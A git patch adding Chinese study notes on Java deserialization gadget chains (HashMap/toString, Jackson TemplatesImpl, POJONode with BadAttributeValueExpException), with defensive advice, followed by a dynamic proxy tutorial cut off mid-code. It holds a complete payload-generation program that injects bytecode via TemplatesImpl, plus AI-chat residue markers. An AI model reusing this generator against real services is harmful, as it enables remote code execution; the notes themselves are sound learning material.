+“鉴权逻辑不应基于原始字符串包含/前后缀判断,应基于与框架一致的规范化 path(去除 ; path-parameter、完成 ./.. 归一化)再做匹配,或直接交由 Spring Security 的 requestMatcher 机制处理。” From 2ba26fe19e0cf58e8b91a479134fe31a92729a35 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Tue, 24 Feb 2026 20:38:10 +0800 Subject: [PATCH 31/32] =?UTF-8?q?Create=20=E5=AD=A6=E4=B9=A0=E6=9D=82?= =?UTF-8?q?=E8=AE=B0.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...46\344\271\240\346\235\202\350\256\260.md" | 1369 +++++++++++++++++ 1 file changed, 1369 insertions(+) create mode 100644 "1.\345\237\272\347\241\200\347\237\245\350\257\206/\345\255\246\344\271\240\346\235\202\350\256\260.md" diff --git "a/1.\345\237\272\347\241\200\347\237\245\350\257\206/\345\255\246\344\271\240\346\235\202\350\256\260.md" "b/1.\345\237\272\347\241\200\347\237\245\350\257\206/\345\255\246\344\271\240\346\235\202\350\256\260.md" new file mode 100644 index 0000000..fa0e133 --- /dev/null +++ "b/1.\345\237\272\347\241\200\347\237\245\350\257\206/\345\255\246\344\271\240\346\235\202\350\256\260.md" @@ -0,0 +1,1369 @@ +# 反序列化学习 +## toString方法和 readObject方法 + +**1. `readObject` 的作用** + +- 这是 **Java 反序列化过程的入口**。 +- 当一个类实现了 `Serializable` 接口,并且定义了一个私有的 `readObject(ObjectInputStream in)` 方法时,Java 反序列化时会**优先调用这个方法**来恢复对象的状态。 +- 攻击者常常在这里构造“入口点”,因为它会在反序列化时被自动触发。 + +👉 换句话说: + +- **漏洞利用链的起点**通常是 `readObject`,因为它能在反序列化的时候执行任意逻辑(比如调用某个危险方法)。 + +**2. `toString` 的作用** + +- 这是对象转为字符串时调用的方法(如 `System.out.println(obj)`)。 +- 本身不会自动在反序列化过程中触发。 +- 但在一些 gadget chain(利用链)里,反序列化后,某个方法(比如 `hashCode`、`equals`、`compareTo`)内部可能会调用 `toString`,于是形成“跳板”来执行任意代码。 + +👉 换句话说: + +- **`toString` 是漏洞链中的“中间节点”**,常用来在链条里继续触发执行。 + +例子 + +**一、背景知识:反序列化漏洞链的本质** + +Java 反序列化漏洞的本质是: +**如果应用程序在反序列化不可信数据时,没有安全限制,攻击者可以构造一个对象图,触发一系列方法调用,最终执行恶意代码。** + +这个调用链的关键点: + +1. **入口点**:反序列化时会调用某些特定方法(比如 `readObject`、`readResolve`、`readExternal`)。 +2. **跳板点**:利用 JDK 或第三方库的对象结构,触发链条继续执行,比如调用 `equals`、`compareTo`、`toString`、`hashCode` 等。 +3. **执行点**:最终能执行命令或恶意逻辑(如 `Runtime.getRuntime().exec()`)。 + +`toString` 作为 **跳板点** 出现的原因: + +- 当容器(`HashMap`、`HashSet`、`TreeMap` 等)执行某些操作(如打印、日志、序列化、反序列化检查)时,会调用内部元素的 `toString()`。 +- 如果攻击者重写 `toString()`,可以在这个点执行任意代码。 + +**二、具体流程(结合示例)** + +假设我们使用 **`HashMap`** 作为利用链的中间节点: + +**1. 攻击者控制对象 `Evil`** + +- 这个类实现了 `Serializable`,所以可以被序列化/反序列化。 +- 攻击者在 `toString()` 中植入恶意代码。 + +``` +javaCopy codeclass Evil implements Serializable { + private String cmd; + + public Evil(String cmd) { + this.cmd = cmd; + } + + @Override + public String toString() { + System.out.println("[*] toString 被调用,执行命令:" + cmd); + // 模拟恶意操作,实际攻击中可能是: + // Runtime.getRuntime().exec(cmd); + return "Evil(cmd=" + cmd + ")"; + } +} +``` + +--- + +**2. 攻击者把 `Evil` 放到 `HashMap`** + +``` +javaCopy codeHashMap map = new HashMap<>(); +map.put(evil, "value"); +``` + +为什么要这么做? + +- **HashMap 的 `toString()` 方法会遍历 key 和 value**,调用它们的 `toString()`。 +- 当 `System.out.println(map)` 或日志框架打印 map 时,会触发 `Evil.toString()`。 + +--- + +**3. 序列化和反序列化** + +``` +javaCopy code// 序列化 +ByteArrayOutputStream bos = new ByteArrayOutputStream(); +ObjectOutputStream oos = new ObjectOutputStream(bos); +oos.writeObject(map); + +// 反序列化 +ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray()); +ObjectInputStream ois = new ObjectInputStream(bis); +HashMap map2 = (HashMap) ois.readObject(); +``` + +到这里,**反序列化本身还没有执行恶意代码**,因为我们只在 `toString()` 里放了逻辑。 + +--- + +**4. 触发条件** + +一旦应用执行以下操作(很常见): + +``` +javaCopy codeSystem.out.println(map2); +logger.info("Map content: {}", map2); +``` + +`HashMap.toString()` 会这样实现: + +``` +javaCopy codepublic String toString() { + Iterator> i = entrySet().iterator(); + if (! i.hasNext()) + return "{}"; + + StringBuilder sb = new StringBuilder(); + sb.append('{'); + for (;;) { + Map.Entry e = i.next(); + K key = e.getKey(); + V value = e.getValue(); + sb.append(key == this ? "(this Map)" : key); + sb.append('='); + sb.append(value == this ? "(this Map)" : value); + if (! i.hasNext()) + return sb.append('}').toString(); + sb.append(',').append(' '); + } +} +``` + +关键点: + +- `sb.append(key)` → 会调用 `key.toString()`。 +- `sb.append(value)` → 会调用 `value.toString()`。 + +如果 `key` 或 `value` 是 `Evil`,就会执行 `Evil.toString()` 里的恶意代码。 + +--- + +**5. 最终效果** + +输出: + +``` +scssCopy code[*] toString 被调用,执行命令:calc.exe +[*] 打印 map2: {Evil(cmd=calc.exe)=value} +``` + +在真实攻击场景,`toString()` 里会调用: + +``` +javaCopy code +Runtime.getRuntime().exec("calc.exe"); +``` + +结果就是 **命令执行**。 + +--- + +**三、利用链总结** + +- **入口**:反序列化(`readObject`)。 +- **中间跳板**:`HashMap.toString()`。 +- **执行点**:`Evil.toString()` → 恶意代码。 + +**调用链示意图** + +``` +scssCopy codeObjectInputStream.readObject() + └── HashMap.readObject() (恢复结构) + └── 用户代码打印 map + └── HashMap.toString() + └── Evil.toString() --> 执行 Runtime.getRuntime().exec() +``` + +--- + +**四、为什么这有价值?** + +- 在很多应用中,**日志打印**是非常常见的。 +- 攻击者只需让应用打印反序列化后的对象,就能触发漏洞。 +- 类似场景还有:`hashCode`、`compareTo`,也可能被利用。 + +谁把 `Evil` 放进 `HashMap`? + +答案是:**攻击者自己就能在序列化阶段构造好**。 + +原因是: + +- Java 的序列化机制会把对象图(包括对象本身及其引用的对象)完整地写进字节流。 +- 所以攻击者完全可以在本地写一个小程序,自己创建 `HashMap`,再把 `Evil` 对象放进去,然后序列化成二进制数据。 +- 生成好的 payload(序列化字节流)就是攻击载荷,攻击者把它发送给目标系统。 + +例如(攻击者本地执行): + +``` +javaCopy codeEvil evil = new Evil("calc.exe"); +HashMap map = new HashMap<>(); +map.put(evil, "value"); + +ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin")); +oos.writeObject(map); +``` + +得到的 `payload.bin` 就是带有 `HashMap` 的序列化数据。 + +--- + +🔹 2. 被攻击系统需要做什么? + +在目标系统中,**只要出现以下场景之一**,就能触发攻击: + +1. **入口:反序列化** + + ``` + javaCopy codeObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.bin")); + Object obj = ois.readObject(); + ``` + + 这里 `obj` 会恢复成一个 `HashMap`,里面包含了攻击者的 `Evil` 对象。 + +2. **触发点:使用或打印 `HashMap`** + + - 如果系统代码里有: + + ``` + javaCopy codeSystem.out.println(obj); + logger.info("接收到的数据: {}", obj); + ``` + + 就会调用到 `HashMap.toString()` → 进一步调用 `Evil.toString()` → 执行恶意代码。 + + - 如果系统没直接打印,也可能在日志框架、调试工具、异常处理等地方间接调用 `toString()`。 + +--- + +🔹 3. 攻击者 vs 系统的分工 + +- **攻击者的责任**: + - 构造 payload(序列化数据流),里面嵌套 `HashMap`,再把 `Evil` 放进去。 + - 发送 payload 给目标系统。 +- **目标系统的责任(漏洞点)**: + - 反序列化了攻击者提供的不可信数据。 + - 并且在后续逻辑中调用了 `toString()`(或其他跳板方法,比如 `hashCode`、`equals`)。 + +--- + +🔹 4. 类比理解 + +这就像: + +- 攻击者寄了一份“陷阱包裹”(payload),里面藏了个机关(`Evil`)。 +- 系统收包裹时(反序列化)照单全收,毫无检查。 +- 当系统想要“看一眼包裹里面写了什么”(调用 `toString()` 打印日志)时,机关被触发,命令就执行了。 + +我会给你一个**抽象的例子**,来说明 `Jackson` + `TemplatesImpl` 的反序列化调用链是如何串起来的,并标明关键类和方法。 +注意:我不会提供可以直接利用的恶意 JSON 或字节码,只会展示调用链上的**类名 + 方法名**,这样既能帮助你理解机制,又不会变成现成的攻击 payload。 + +--- + +## Jackson反序列化漏洞示例场景 + +- 应用中错误地启用了 Jackson 的 **多态反序列化**(`enableDefaultTyping`)。 +- 攻击者传入精心构造的 JSON,其中包含 `TemplatesImpl` 对象以及一个触发调用的 gadget(比如 `PriorityQueue`)。 +- 反序列化时,Jackson 实例化对象、设置字段,最终触发 `TemplatesImpl` 的危险方法,导致恶意字节码执行。 + +--- + +**典型调用链(示意)** + +``` +scssCopy codecom.fasterxml.jackson.databind.ObjectMapper.readValue() + | + v +com.fasterxml.jackson.databind.deser.BeanDeserializer.deserialize() + | + v +com.fasterxml.jackson.databind.deser.impl.MethodProperty.deserializeAndSet() + | + v +com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.() / setField() + | + v +java.util.PriorityQueue.readObject() + | + v +java.util.PriorityQueue.heapify() + | + v +java.util.PriorityQueue.siftDown() + | + v +java.util.Comparator.compare() + | + v +org.apache.commons.collections.functors.InvokerTransformer.transform() <-- 触发点(常见 gadget)或者使用getOutputProperties() + | + v +com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer() + | + v +com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance() + | + v +com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses() + | + v +java.lang.ClassLoader.defineClass() + | + v +<恶意类的 static 块 / 构造函数被执行> + | + v +任意代码执行 (RCE) +``` + +--- + +**链条关键节点解释** + +1. **`ObjectMapper.readValue()`** + - 入口:应用调用 Jackson 解析 JSON。 + - 问题:启用了 Default Typing,允许 JSON 指定任意类型。 +2. **`BeanDeserializer.deserialize()`** + - Jackson 根据 JSON 创建对象实例并填充属性。 + - 这一步可以构造 `TemplatesImpl` 并写入 `_bytecodes`。 +3. **`PriorityQueue.readObject()` → `heapify()` → `siftDown()`** + - PriorityQueue 在反序列化时会重新排序,调用 `compare()` 方法。 + - 攻击者放入的比较器 / Transformer 在这里被调用。 +4. **`InvokerTransformer.transform()`** + - 常见 gadget,调用任意方法。 + - 被用来调用 `TemplatesImpl.newTransformer()`。 +5. **`TemplatesImpl.newTransformer()` → `getTransletInstance()` → `defineTransletClasses()`** + - 这里会加载 `_bytecodes` 并通过 `ClassLoader.defineClass()` 定义类。 + - 恶意类在加载时执行静态初始化块或构造器。 +6. **RCE** + - 恶意代码被执行,例如 `Runtime.getRuntime().exec("...")`。 + +--- + +**小结** + +- **危险点**:`TemplatesImpl` + Gadget(如 `PriorityQueue` + `InvokerTransformer`)。 + +- **触发路径**:Jackson → BeanDeserializer → 目标类(TemplatesImpl)→ Gadget 触发 → newTransformer → 字节码加载 → 恶意代码执行。 + +- 防护要点 + + : + + - 禁用 Jackson 默认多态 (`enableDefaultTyping`)。 + - 使用 **白名单反序列化策略**。 + - 避免引入包含已知 gadget 的库(如老版本 commons-collections)。 + - 升级 Jackson(新版本内置黑名单过滤)。 + +--- + +要不要我帮你画一个 **方法级时序图**(像 UML sequence diagram 一样),把 Jackson 反序列化调用到 TemplatesImpl 加载字节码的过程一步步串起来?这样比调用链更直观。 + +### getOutputProperties + +好 —— 下面我结合公开资料给你**具体说明 `TemplatesImpl#getOutputProperties()` 在利用链中的作用**,并列出典型的、经常出现在 PoC/ysoserial 等链子里的「类→方法」调用顺序。**我不会给出任何可直接利用的 payload 或字节码**,只是把调用逻辑和触发点明确化,方便你理解与防护。 + +--- + +**关键结论(先看要点)** + +- `TemplatesImpl#getOutputProperties()` 会**实例化一个 Transformer** 来读取输出属性;因此它会间接调用 `newTransformer()`/`getTransletInstance()`,从而**触发 `_bytecodes` 的类定义与类初始化**(即恶意字节码的加载与执行)。 +- 许多常见 gadget(例如 `BeanComparator`/`InvokerTransformer`、`PriorityQueue` 的比较流程等)会在反序列化/比较时调用 `getOutputProperties()` 或等价方法,从而把 `TemplatesImpl` 的类加载作为触发点。 + +--- + +**方法级调用链(以 `getOutputProperties()` 为触发点的常见链,按调用方向列出)** + +``` +scssCopy code(入口) Jackson/ObjectInputStream 反序列化 + ↓ +com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ←〔被反序列化并写入 _bytecodes 等字段〕 + ↓ TemplatesImpl.getOutputProperties() // JAXP Templates.getOutputProperties 实现 + 说明:为了得到 output properties,会实例化 Transformer(文档/实现明确这样做)。 + ↓ TemplatesImpl.newTransformer() + ↓ TemplatesImpl.getTransletInstance() + ↓ TemplatesImpl.defineTransletClasses() // 根据 _bytecodes 调用类加载相关逻辑 + ↓ java.lang.ClassLoader.defineClass(...) // JVM 定义类,随后执行 / 构造逻辑 + ↓ 恶意类的静态初始化或构造器执行 → 任意代码执行(RCE) +``` + +上面链条中任意一步若被其它 gadget(例如比较器、transformer)间接触发,就能在反序列化流程中被调用,从而完成触发。 + +--- + +**常见的「触发组合」示例(不含 payload,只列类/方法)** + +- 容器触发点(在反序列化时会调用比较/transform) + - `java.util.PriorityQueue.readObject()` → `heapify()` → `siftDown()` → 调用比较器的 `compare()`。攻击者可以把带有恶意行为的对象 / 比较器放入队列,触发比较时执行链。 +- 比较器 / Transformer gadget(常见于 ysoserial 等链) + - `org.apache.commons.collections.comparators.BeanComparator.compare()`(或使用 `BeansComparator`)→ 内部可能访问 bean 属性,从而触发 `TemplatesImpl.getOutputProperties()`。 + - `org.apache.commons.collections.functors.InvokerTransformer.transform()` → 通过反射调用任意方法(例如 `newTransformer()` / `getOutputProperties()`)。 +- **直接说明**:多个研究与漏洞报告都指出 `TemplatesImpl#getOutputProperties()` 被用作常见触发点(例如 ysoserial 的多个 gadget、某些 CVE 的利用链)。 + +--- + +**为什么 `getOutputProperties()` 会触发类加载(更详细的逻辑)** + +`TemplatesImpl#getOutputProperties()` 的 Javadoc/实现中写明:**“为了获得 output settings,需要实例化一个 translet(translet 即已编译的 XSLT 实现),所以会直接实例化一个 Transformer”**。实例化 Transformer 的实现路径会调用 `newTransformer()` → `getTransletInstance()` → `defineTransletClasses()`,后者会把 `_bytecodes` 转为 JVM 类(`defineClass`)并初始化类(执行静态初始化块 ``),因此攻击者把恶意字节码写入 `_bytecodes` 并在合适触发点调用 `getOutputProperties()` 就会导致恶意代码运行。 + +--- + +**典型链上出现的方法/类(汇总)** + +- `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties()`(触发入口) +- `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer()`(创建 Transformer) +- `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance()`(实例化 translet) +- `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses()`(定义类) +- `java.lang.ClassLoader#defineClass(...)`(JVM 层定义类并触发 ``) +- Gadget / 触发容器类:`java.util.PriorityQueue.readObject()` → `heapify()` → `siftDown()`(比较时触发)citeturn0search17 +- 常用 gadget:`org.apache.commons.collections.functors.InvokerTransformer`、`org.apache.commons.collections.comparators.BeanComparator` / `CommonsBeanutils` 相关 comparator/transformer(用于把反序列化对象链入 invocation/compare)。 + +--- + +**防御/检测建议(结合上述触发点)** + +1. **禁用 Jackson 的默认多态反序列化**(不要使用 `enableDefaultTyping` 或只用严格白名单)。citeturn0search17 +2. **在反序列化入口加白名单/类型过滤器**:只允许显式 DTO、基础类型或已知安全类型。citeturn0search17 +3. **依赖审计**:识别并尽量移除或升级包含已知 gadget 的库(Commons-Collections、Commons-Beanutils、老版本 Xalan 等)。citeturn0search5turn0search16 +4. **运行时最小权限 & 沙箱**:尽可能以低权限运行 JVM,限制网络/文件操作,使用容器/进程隔离。 +5. **检测与日志**:监控异常的类加载、非预期的 `defineClass` 调用、或在运行时突然出现的外部进程调用迹象。 + +### POJONode#toString + +好 —— 我把 **`POJONode#toString()` 在 Jackson + `TemplatesImpl` 利用链** 中的**作用、原理和典型调用链**讲清楚,并给出一个安全(**不含任何可执行 exploit/payload**)的示例调用顺序,方便你把各个环节对齐理解。所有关键技术点都附上来源,便于你深入核验与防护。 + +> 先给结论:**`POJONode#toString()` 的“危险”并不是它自己去执行代码**,而是它在把内部包装的 POJO 转成字符串时会触发 Jackson 的 `writeValueAsString(...)` 路径 —— 那条路径会遍历 Bean 的属性并调用它们的 getter。若被包装的 POJO 是 `TemplatesImpl`(或其它能在 getter 中触发字节码加载/副作用的类),那这些 getter(例如 `getOutputProperties()` → `newTransformer()` → `getTransletInstance()`)就会被调用,最终可能导致类定义与初始化时的副作用(比如执行静态初始化/构造器中的命令)。citeturn0search2turn1search6 + +--- + +**1) 为什么 POJONode 会触发 getter 调用(核心思想)** + +- `POJONode` 是 Jackson 的一个 `JsonNode` 子类,用来“包装任意 POJO”作为树节点(它内部保存一个 Object)。当框架/代码调用 `toString()`(或把这个节点序列化成 JSON 字符串)时,Jackson 会把被包装的 POJO 当作普通 Bean 来序列化 —— 这会走到 `ObjectWriter.writeValueAsString(...)` → Bean 序列化器路径,序列化器会逐个调用 Bean 的 getter 来收集属性值。结果就是“包装对象的 getter 会被触发执行”。citeturn1search0turn1search3 +- 因为 `POJONode` 本身没有重写 `toString()`(或其实现由父类链路处理),调用 `toString()` 会最终走到把内部 POJO 转成 JSON 的逻辑(即 `writeValueAsString`),从而触发 Bean 序列化器(调用 getter)。这正是攻击链利用的切入点之一。citeturn0search0turn1search6 + +--- + +**2) 典型的触发场景(为什么会在反序列化链里被调用)** + +攻击链常把 `POJONode` 放进一个会在反序列化时或随后被 `toString()` 的容器/对象里(例如 `BadAttributeValueExpException.val`),或被其它类在 `readObject()` / 日志 / 错误处理里调用 `toString()`。当 JVM/应用在某处调用 `toString()`(例如异常消息、日志、序列化替换、或容器的序列化代理)时,POJONode 的序列化路径会触发包装对象的 getter。许多公开分析把 `BadAttributeValueExpException` 与 `POJONode` 组合当作触发器的示例。citeturn1search6turn0search2 + +--- + +**3) 逐步调用链(方法级、按执行顺序列出 — 仅方法/类名)** + +下面给出一个常见变体的 **方法级调用顺序**,把每步的“发生了什么”也写清楚。**注意:这里只是说明调用关系,不包含任何可执行 payload / 构造细节**。 + +1. `javax.management.BadAttributeValueExpException.toString()` + - 当 JVM/应用把该异常对象转字符串或写日志时,会调用其 `toString()`,而 `toString()` 会访问其 `val` 字段并对其做 `String.valueOf(val)`(即 `val.toString()`)。(这是一个常见“触发点”容器。)citeturn1search6 +2. `com.fasterxml.jackson.databind.node.POJONode.toString()`(或 POJONode 走到父类实现) + - `POJONode` 是包装 POJO 的 `JsonNode`,其 `toString()`/序列化实现会把内部 POJO 转为 JSON 字符串。若 `val` 就是 `POJONode`,`BadAttributeValueExpException.toString()` 会导致执行这里。citeturn1search0turn1search6 +3. `com.fasterxml.jackson.databind.util.InternalNodeMapper.nodeToString(...)`(实现细节,某版本内链) + - Jackson 内部会调用帮助方法把 `JsonNode` 转为字符串,这条链路会调到 ObjectWriter / ObjectMapper。不同版本类名略有差别,但核心是走到 `writeValueAsString`。citeturn1search6 +4. `com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString(Object)`(或 `ObjectMapper.writeValueAsString`) + - 这是把任意 Java 对象序列化为 JSON 字符串的入口。对 POJO 的处理会选用 Bean 序列化器。citeturn1search2 +5. `com.fasterxml.jackson.databind.ser.DefaultSerializerProvider.serializeValue(...)` → `BeanSerializer.serialize(...)` → `BeanSerializerBase.serializeFields(...)` → `BeanPropertyWriter.serializeAsField(...)` + - 这些方法负责遍历 Bean 的属性描述并调用对应的 getter(`Method.invoke`)来取得属性值并写入 JSON。也就是说,**序列化 Bean 会直接调用它的 getter 方法**。citeturn0search0turn1search6 +6. (若被包装的 POJO 是 `TemplatesImpl`)`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()`(或其它 getter)被调用 + - `getOutputProperties()` 会确保有一个 Transformer/translet 实例;该过程会走到 `newTransformer()` → `getTransletInstance()` → `defineTransletClasses()`,而这些最终会触发加载 `_bytecodes` 并通过 `ClassLoader.defineClass(...)` 定义/初始化类(从而执行类的静态初始化 `` 或构造器中的副作用)。这就是为什么把 `TemplatesImpl` 作为 POJO 放入 POJONode 会很危险。citeturn0search2turn0search9 +7. `java.lang.ClassLoader.defineClass(...)` → JVM 执行类初始化(`` / 构造器) → **副作用发生(如命令执行等)**。citeturn0search2 + +(上面每一步都对应实际实现中的类/方法,可能随 Jackson 或 JDK 版本微调,但总体模式稳定:**POJONode → writeValueAsString → BeanSerializer → 调用 getter → TemplatesImpl 的 getter 导致类加载**。)citeturn1search6turn0search2 + +--- + +**4) 一个概念性(不可执行)示例调用栈(只读)** + +(便于画图或在审计里贴:) + +``` +scssCopy codeBadAttributeValueExpException.toString() + -> POJONode.toString() // POJONode 包装了一个 TemplatesImpl 实例 + -> InternalNodeMapper.nodeToString(...) / ObjectMapper.writeValueAsString(...) + -> DefaultSerializerProvider.serializeValue(...) + -> BeanSerializer.serialize(...) + -> BeanSerializerBase.serializeFields(...) + -> BeanPropertyWriter.serializeAsField(...) + -> invoke TemplatesImpl.getOutputProperties() + -> TemplatesImpl.newTransformer() + -> TemplatesImpl.getTransletInstance() + -> TemplatesImpl.defineTransletClasses() + -> ClassLoader.defineClass(...) + -> / constructor run (副作用) +``` + +(上面链条与前面解释一一对应 — 这就是 POJONode#toString 在链条中的“桥接”/入口作用。)citeturn0search2turn1search6 + +--- + +**5) 为什么攻击者喜欢用 POJONode(要点总结)** + +- `POJONode` 能包装“任意 POJO”,把危险的对象 *隐式* 放入 Jackson 的树结构里。 +- `BadAttributeValueExpException` 等 JDK 类在某些上下文会被自动 `toString()`,因此把 `POJONode` 放进这些容器可以把“字符串/序列化”流程当成触发器。citeturn1search6turn0search2 + +--- + +**6) 防护与检测建议(务实可行)** + +这些建议都是可在生产中落地的安全措施,能阻断或检测上面那条链条: + +1. **不要接受/处理不受信任的反序列化数据,也不要启用不受限的多态(Default Typing)**。Jackson 的 `enableDefaultTyping()` 已被标为不安全/弃用;若必须使用多态,使用 `PolymorphicTypeValidator` 白名单限制。citeturn2search4turn2search3 +2. **拒绝或过滤掉输入中包含类型指示(`@class` / `@type` / class names)或可疑字段(如 `_bytecodes` / `transletBytecodes` / base64 字节码)**,在把原始 JSON 交给 `ObjectMapper.readValue` 之前先用 `JsonNode` 做预检。citeturn2search6 +3. **在构建/CI 中检测“危险配置”**:查找代码库中是否存在 `enableDefaultTyping()`、`activateDefaultTyping(...)` 没有验证器参数的用法、或把 `Object` 当作反序列化目标。citeturn2search6 +4. **移除或升级含已知 gadget 的第三方库**(commons-collections、commons-beanutils、老版本 Xalan/某些管理类等),并做依赖树审计。citeturn0search5turn2search6 +5. **运行时限制与检测**:用最小权限运行 JVM(限制执行命令、限制文件写入/网络出口),并监控异常类加载、未预期的 `defineClass` 行为或异常外部进程启动。日志/入侵检测要覆盖到反序列化入口。citeturn2search6 + +--- + +**参考(你可以点进去看实现 / 深度分析)** + +- xz.aliyun 的分析(讲解 POJONode → writeValueAsString → getter 的链条与 POJONode 做为利用载体的机制)。citeturn0search0turn0search2 +- 多篇博客/文章对 `POJONode` 利用与 Jackson 序列化调用 getter 的讨论(含实现调用栈)。citeturn1search6turn0search4 +- Jackson 官方 Javadoc(POJONode、PolymorphicTypeValidator / activateDefaultTyping 的 API 文档)。citeturn1search0turn2search3 + +### 总结 + +> https://fushuling.com/index.php/2023/01/30/java%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE%B0/ + +**POJONode#toString():**内部保存对象(POJO),触发toString()时,Jackson 会把被包装的 POJO 当作普通 Bean 来序列化,序列化时会调用它保存对象的getter; + +作用:**触发toString()时,它的包装对象的 getter 会被触发执行,用来触发getOutputProperties的调用** + +**BadAttributeValueExpException.val:**BadAttributeValueExpException#readObject`,这是一个原生类,在`readObject`的时候会触发val`属性的 toString,当 JVM/应用把该异常对象转字符串或写日志时,会调用其 `toString()`,而 `toString()` 会访问其 `val` 字段并对其做 `String.valueOf(val)`(即 `val.toString()`)。(这是一个常见“触发点”容器。), + +作用:**把POJONode放到BadAttributeValueExpException的value字段,将其进行反序列化时,会触发value字段的toString(),也就是POJONode#toString()** + +所以这条链子反序列化的对象就是BadAttributeValueExpException + +### 完整样例代码和调用链 + +``` +BadAttributeValueExpException.toString() + | + v +POJONode.toString() + | + v +ObjectMapper.writeValueAsString(Object) + | + v +DefaultSerializerProvider.serializeValue() + | + v +BeanSerializer.serialize() + | + v +BeanSerializerBase.serializeFields() + | + v +BeanPropertyWriter.serializeAsField() + | + v +TemplatesImpl.getOutputProperties() <-- 调用触发点 + | + v +TemplatesImpl.newTransformer() + | + v +TemplatesImpl.getTransletInstance() + | + v +TemplatesImpl.defineTransletClasses() + | + v +ClassLoader.defineClass() <-- 加载恶意字节码并执行静态初始化块 + | + v +恶意代码执行(如命令执行,RCE) +``` + +``` +package com; + +import com.fasterxml.jackson.databind.node.POJONode; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import javax.management.BadAttributeValueExpException; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; + +public class AliyunBypassIt { + + public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field field = obj.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(obj, value); + } + + public static void main(String[] args) throws Exception { + + try { + ClassPool pool = ClassPool.getDefault(); + CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); + CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); + jsonNode.removeMethod(writeReplace); + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + jsonNode.toClass(classLoader, null); + } catch (Exception e) { + } + + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath("C:\\Users\\24254\\Desktop\\java笔记\\java-top-speed\\src\\shiroTest"); + CtClass clazzz = pool.get("EvilTest"); + byte[] code = clazzz.toBytecode(); + TemplatesImpl templates = new TemplatesImpl(); + setFieldValue(templates, "_bytecodes", new byte[][]{code}); + setFieldValue(templates, "_name", "HelloTemplatesImpl"); + setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); + + POJONode node = new POJONode(templates); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + setFieldValue(val, "val", node); + + ByteArrayOutputStream barr = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(barr); + oos.writeObject(val); + oos.close(); + + System.out.println(barr); + ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); + Object o = (Object) ois.readObject(); + } +} +``` + +# Java动态代理 + +https://liaoxuefeng.com/books/java/reflection/proxy/index.html + +**什么是 Java 动态代理(通俗讲)** + +动态代理就是在**运行时**动态生成一个“代理对象”,这个对象在外形上看起来像某个接口的实现(可以被当成目标接口使用),但它并不是真正的业务实现,而是把所有方法调用**转交给一个统一的处理器**(`InvocationHandler`)来处理。这个处理器可以在调用前后做额外事情(例如日志、权限校验、缓存、事务、远程调用等),然后决定是否并如何调用真实对象的对应方法。 + +**JDK 动态代理是:用一个实现接口的新类(代理类)拦截接口方法调用,并在 handler 中决定最终转发到哪个真实对象。这个真实对象可以是任何类实例,但代理本身永远是接口的代理** + +通俗比喻: +想象你在一家餐馆点菜,服务员(代理)把你的请求转给厨房(真实对象)。服务员可以在转达前先记下信息、检查你会员资格、记录日志、或直接返回一个缓存的菜。服务员是动态创建的,但对你来说就是那个“会服务”的人。 + +--- + +**JDK 动态代理的关键点(要记住的)** + +- JDK 的动态代理基于 `java.lang.reflect.Proxy` 和 `InvocationHandler`。 +- 它**只能为接口创建代理**(代理类在运行时实现了这些接口)。如果你需要代理类而非接口(如对具体类代理),通常用 CGLIB / ByteBuddy 等库。 +- 典型用途:AOP(横切关注点)、RPC 桩、日志/监控、权限/校验、mock 单元测试等。 + +--- + +**简单示例:用动态代理给方法加日志(完整可运行)** + +下面的例子包含: + +1. 一个接口 `GreetingService` 和其真实实现 `GreetingServiceImpl`。 +2. 一个 `LoggingInvocationHandler`,把方法调用记录日志并委托给真实对象。 +3. 使用 `Proxy.newProxyInstance(...)` 创建代理,并演示调用链。 + +``` +javaCopy code// File: DynamicProxyDemo.java +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Method; +import java.lang.reflect.Proxy; + +// 1) 接口 +public interface GreetingService { + String greet(String name); +} + +// 2) 真实实现 +class GreetingServiceImpl implements GreetingService { + @Override + public String greet(String name) { + return "Hello, " + name; + } +} + +// 3) InvocationHandler:所有代理方法调用都会来到这里 +class LoggingInvocationHandler implements InvocationHandler { + private final Object target; + + public LoggingInvocationHandler(Object target) { + this.target = target; + } + + // method: 被调用的方法;args: 方法参数 + @Override + public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { + // 在调用前做点事 + System.out.println("[LOG] 调用方法: " + method.getName() + ", 参数: " + (args != null ? java.util.Arrays.toString(args) : "[]")); + + // 可以做权限校验、缓存判断、远程调用替换等 + // 这里我们把调用转发给真实对象 + Object result = method.invoke(target, args); + + // 